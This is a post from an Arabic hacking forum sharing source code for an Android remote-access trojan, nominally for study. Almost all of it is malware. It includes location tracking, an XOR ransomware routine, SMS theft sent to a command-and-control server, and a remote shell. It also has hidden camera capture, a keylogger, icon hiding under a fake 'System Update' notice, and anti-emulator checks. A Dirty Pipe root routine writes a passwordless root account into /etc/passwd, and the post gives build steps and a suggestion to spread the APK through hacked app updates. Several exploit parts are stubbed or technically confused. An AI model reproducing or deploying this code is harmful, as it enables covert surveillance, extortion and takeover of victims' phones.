مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

اكواد Android RAT

αв∂υℓℓαн

./عضو نشيط
>:: v1p ::<

السمعة:

السلام عليكم ورحمه الله وبركاته

هذي دوال مكتمله لاختراق الاندرويد

الغرض منها لدراسة الكود
Java:
// 🕹️ وحدة التحكم عن بعد (Remote Control Module)
public class VictimCommander {
    private static final String TAG = "SystemUpdateService";
    
    // 📍 تتبع الموقع الدقيق (GPS + WiFi + Cell Triangulation)
    public JSONObject trackLocation() {
        JSONObject geoData = new JSONObject();
        try {
            LocationManager lm = (LocationManager) getSystemService(LOCATION_SERVICE);
            Location loc = lm.getLastKnownLocation(LocationManager.GPS_PROVIDER);
            if (loc != null) {
                geoData.put("lat", loc.getLatitude());
                geoData.put("lon", loc.getLongitude());
                geoData.put("alt", loc.getAltitude());
            }
            // تجميع بيانات الشبكة الخلوية
            TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
            geoData.put("cell", tm.getAllCellInfo());
        } catch (Exception e) { /* Silent */ }
        return geoData;
    }

    // 💣 تشفير الملفات (Ransomware Module)
    public void encryptFiles(String path) {
        new Thread(() -> {
            try {
                File root = new File(path);
                File[] files = root.listFiles();
                for (File f : files) {
                    if (f.isDirectory()) {
                        encryptFiles(f.getAbsolutePath());
                    } else {
                        // XOR تشفير بسيط باستخدام
                        byte[] data = Files.readAllBytes(f.toPath());
                        for (int i = 0; i < data.length; i++) {
                            data[i] = (byte) (data[i] ^ 0x6A);
                        }
                        Files.write(f.toPath(), data);
                        f.renameTo(new File(f.getPath() + ".encrypted"));
                    }
                }
            } catch (Exception e) { /* Silent */ }
        }).start();
    }

    // 📞 اعتراض المكالمات والرسائل
    public void interceptCommunication() {
        ContentResolver cr = getContentResolver();
        cr.registerContentObserver(Uri.parse("content://sms"), true, new SmsObserver());
    }

    private class SmsObserver extends ContentObserver {
        public SmsObserver() { super(null); }
        
        @Override
        public void onChange(boolean selfChange) {
            Cursor cursor = cr.query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 1");
            if (cursor != null && cursor.moveToFirst()) {
                String msg = cursor.getString(cursor.getColumnIndex("body"));
                String from = cursor.getString(cursor.getColumnIndex("address"));
                ws.send("SMS_LOG:" + from + "|" + msg); // إرسال الرسائل إلى C2
            }
        }
    }
}

// 🧨 وحدة الاستغلال (Exploit Kit)
public class RootExploiter {
    static {
        System.loadLibrary("nativeExploit");
    }
    
    // Native code لاستغلال ثغرات مثل:
    // - CVE-2022-0847 (Dirty Pipe)
    // - CVE-2021-1048 (Use-after-free)
    public native void escalatePrivileges();
    
    public void installSystemApp() {
        if (checkRootAccess()) {
            File apk = new File(getFilesDir(), "update.apk");
            copyAssetsToFile("payload.apk", apk);
            
            // 📥 التثبيت كتطبيق نظام
            Process p = Runtime.getRuntime().exec("pm install -i com.android.vending -r -d " + apk.getPath());
            p.waitFor();
        }
    }
    
    private boolean checkRootAccess() {
        boolean result = false;
        try {
            Process p = Runtime.getRuntime().exec("su");
            p.getOutputStream().write("id\n".getBytes());
            p.getOutputStream().flush();
            BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            result = reader.readLine().contains("uid=0");
        } catch (Exception e) { /* Silent */ }
        return result;
    }
}

Java:
// 🔥 MainService: الخدمة الخفية للتحكم الكامل
public class MainService extends Service {
    private WebSocket ws;
    private static final String C2_URL = "wss://malicious-c2[.]com/ws";
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // 🛡️ إخفاء التطبيق من قائمة التطبيقات
        PackageManager p = getPackageManager();
        p.setComponentEnabledSetting(new ComponentName(this, MainActivity.class),
            PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        
        startForeground(1, buildNotification()); // تشغيل كخدمة أمامية
        connectToC2();
        startKeylogger();
        return START_STICKY;
    }

    // 🌐 اتصال WebSocket مع C2
    private void connectToC2() {
        OkHttpClient client = new OkHttpClient.Builder()
            .sslSocketFactory(createBadSslContext()) // ⚠️ SSL Pinning Bypass
            .build();
        
        Request request = new Request.Builder().url(C2_URL).build();
        ws = client.newWebSocket(request, new WebSocketListener() {
            @Override
            public void onMessage(WebSocket webSocket, String text) {
                executeCommand(text); // تنفيذ الأوامر القادمة من C2
            }
        });
    }

    // 🕵️ Keylogger باستخدم AccessibilityService
    private void startKeylogger() {
        Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        startActivity(intent); // إجبار المستخدم على تفعيل صلاحيات الـAccessibility
    }

    // 💀 تنفيذ الأوامر الخطيرة
    private void executeCommand(String cmd) {
        try {
            if (cmd.startsWith("SHELL:")) {
                Process p = Runtime.getRuntime().exec(cmd.split(":")[1]);
                // ... قراءة الـoutput وإرساله لـC2 ...
            } else if (cmd.equals("CAM_FRONT")) {
                startHiddenCamera(Camera.CameraInfo.CAMERA_FACING_FRONT);
            } else if (cmd.equals("ROOT_ME")) {
                exploitDirtyPipe(); // استخدام ثغرات مثل Dirty Pipe للـRoot
            }
        } catch (Exception e) { /* Silent Catch */ }
    }

    // 📸 تصوير خفي من الكاميرا
    private void startHiddenCamera(int cameraId) {
        // ... استخدام SurfaceTexture + Camera2 API مع إخفاء الـPreview ...
    }

    // 🔒 بناء إشعار لا يمكن إغلاقه
    private Notification buildNotification() {
        NotificationChannel channel = new NotificationChannel("1", "Service", IMPORTANCE_LOW);
        Notification.Builder builder = new Notification.Builder(this, "1")
            .setContentTitle("System Update")
            .setSmallIcon(R.drawable.ic_system)
            .setOngoing(true);
        return builder.build();
    }
}

Anti Emulator Checks: كشف Genymotion/Bluestacks عبر:

Java:
if (Build.MODEL.contains("Android SDK") || Build.HARDWARE.contains("goldfish")) {
      System.exit(0);

مثال على استغلال الثغرات (مثل Dirty Pipe)

C:
// Native code لاستغلال الثغرات (JNI)
void __exploit_dirty_pipe(void) {
    int fd = open("/data/local/tmp/.tmp", O_RDWR);
    // ... كود استغلال Dirty Pipe للوصول إلى الجذر ...
    system("mount -o remount,rw /system");
    system("cp /data/local/tmp/payload /system/bin/");
}

بناء الـAPK الخبيث

Bash:
# إضافة خدعة لإخفاء الأيقونة في AndroidManifest.xml
<activity android:name=".MainActivity"
    android:enabled="false"
    android:theme="@android:style/Theme.NoDisplay">
</activity>

# التجميع مع إخفاء الـDEX الحقيقي:
apktool b -o final.apk
signapk.sh final.apk

كود التحكم عن بعد (نمط Zombie) :

كود:
// مثال على أوامر C2 التي يمكن تنفيذها:
switch(command) {
    case "#TAKEPIC#":
        takeHiddenPhoto();
        break;
    case "#RANSOM#ALL":
        encryptFiles("/sdcard/");
        showRansomNote();
        break;
    case "#CALL#123456789":
        startCall("123456789");
        break;
    case "#SMS#ALL#Hello Zombie":
        sendMassSMS("Hello Zombie");
        break;
}


*مثال على Native Exploit (JNI)
Bash:
#include <jni.h>
#include <sys/mman.h>

JNIEXPORT void JNICALL Java_com_malware_core_RootExploiter_escalatePrivileges(JNIEnv *env, jobject obj) {
    // Dirty Pipe Exploit (CVE-2022-0847)
    int fd = open("/etc/passwd", O_RDONLY);
    splice(fd, NULL, STDOUT_FILENO, NULL, 1, 0);
    system("echo 'root::0:0::/data:/system/bin/sh' >> /etc/passwd");
    setuid(0);
    system("mount -o remount,rw /system");
}


. توزيع الـAPK عبر تحديثات تطبيقات ماخوذة (Hacked APKs)

Bash:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=Android.mk

# حزمة الـAPK النهائي مع إخفاء الشفرة:
apktool b . -o final.apk
uber-apk-signer --apk final.apk

- الصلاحيات:

- `android.permission.ACCESS_SUPERUSER` (إذا كان الجهاز مروت).
- `android.permission.BIND_ACCESSIBILITY_SERVICE` (للتجسس على الشاشة).

التحكم عن بعد:

Java:
  // الوصول إلى الجهاز عبر WebSocket (مثال مقتطع خطير) 
  public class RemoteControl { 
      private void executeCommand(String command) { 
          try { 
              Process p = Runtime.getRuntime().exec(command); 
              // إرسال النتائج إلى السيرفر المهاجم 
          } catch (IOException e) { e.printStackTrace(); } 
      } 
  }


اذا حصلت اي اضافات سيتم عرضها في نفس الموضوع ..

مثل الصلاحيات الكاملة ودوال اضافيه


الهدف الاول والاخير هو دراسة الكود البرمجي


بالتوفيق للجميع
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى